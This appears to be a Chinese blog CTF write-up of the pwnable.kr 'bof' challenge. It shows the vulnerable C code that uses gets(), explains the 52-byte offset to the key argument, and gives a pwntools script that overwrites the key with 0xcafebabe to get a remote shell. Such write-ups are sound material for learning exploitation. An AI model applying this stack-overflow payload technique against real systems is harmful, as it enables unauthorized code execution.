zoukankan      html  css  js  c++  java
  • 【pwnable.kr】bof

    pwnable从入门到放弃,第三题。

    Download : http://pwnable.kr/bin/bof
    Download : http://pwnable.kr/bin/bof.c

    Running at : nc pwnable.kr 9000

    很简单的一道栈溢出题目。

    依然先读代码:

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);    // smash me!
        if(key == 0xcafebabe){
            system("/bin/sh");
        }
        else{
            printf("Nah..
    ");
        }
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }

    在gets处有一个明显的栈溢出,溢出了overflowme变量。

    目的是覆盖key变量,导致在if判断时,获得执行bash的权限。

    用ida看看栈分配的结构吧

    看到数组overflowme的起始地址在ebp+s(-2c),key参数的其实地址在ebp+arg0(+8),中间就差了44+8 = 52个字节。

    因此使用52个‘A’覆盖之后再加上4字节的0xcafebabe,就可以了。

    再次膜拜一发pwntools。

    # -*- coding:utf-8 -*-  
    import pwn
    r = pwn.remote('pwnable.kr',9000)
    r.send('a'*52+pwn.p32(0xcafebabe))
    r.interactive()

    之后就可以获得一个shell了。

    ps:话说明天开始要做项目了 = =紧脏。

  • 相关阅读:
    PAT 个位数统计
    Least Common Multiple
    PAT 输出华氏-摄氏温度转换表
    害死人不偿命的(3n+1)猜想
    牛客小白月赛1 A-简单题
    结构体 查找书籍
    TZOJ 复习时间
    JS 瀑布流效果
    JS浏览器对象
    JS 数组相关
  • 原文地址:https://www.cnblogs.com/p4nda/p/7100716.html
Copyright © 2011-2022 走看看